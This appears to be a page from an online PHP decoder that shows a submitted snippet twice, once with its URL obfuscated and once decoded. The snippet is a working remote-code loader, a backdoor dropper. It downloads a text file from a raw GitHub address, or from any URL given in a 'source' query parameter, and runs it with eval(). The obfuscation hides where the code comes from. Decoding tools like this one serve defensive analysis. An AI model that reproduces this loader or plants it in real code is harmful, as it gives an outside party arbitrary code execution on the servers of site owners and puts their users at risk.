Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $defaultUrl = "\150\x74\x74\x70\x73\72\x2f\x2f\162\141\x77\x2e\x67\151\164\150\x75\..
Decoded Output download
<?php
$defaultUrl = "https://raw.githubusercontent.com/necessaryfor/neces/refs/heads/main/z1.txt";
$input = isset($_GET['source']) ? $_GET['source'] : $defaultUrl;
if (empty($_GET) && empty($_POST)) {
if (filter_var($input, FILTER_VALIDATE_URL)) {
$fileContent = file_get_contents($input);
if ($fileContent !== false) {
eval('?>' . $fileContent);
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
$defaultUrl = "\150\x74\x74\x70\x73\72\x2f\x2f\162\141\x77\x2e\x67\151\164\150\x75\142\x75\163\x65\x72\x63\157\156\x74\x65\156\164\x2e\143\x6f\155\x2f\x6e\145\x63\145\163\x73\x61\162\x79\146\157\162\x2f\x6e\x65\x63\x65\x73\57\162\x65\x66\163\x2f\x68\145\x61\x64\x73\x2f\x6d\x61\151\x6e\x2f\172\x31\x2e\164\x78\164";
$input = isset($_GET['source']) ? $_GET['source'] : $defaultUrl;
if (empty($_GET) && empty($_POST)) {
if (filter_var($input, FILTER_VALIDATE_URL)) {
$fileContent = file_get_contents($input);
if ($fileContent !== false) {
eval('?>' . $fileContent);
}
}
}
?>
Function Calls
None |
Stats
MD5 | ce2906dd600764fe4b4084393e97f578 |
Eval Count | 0 |
Decode Time | 85 ms |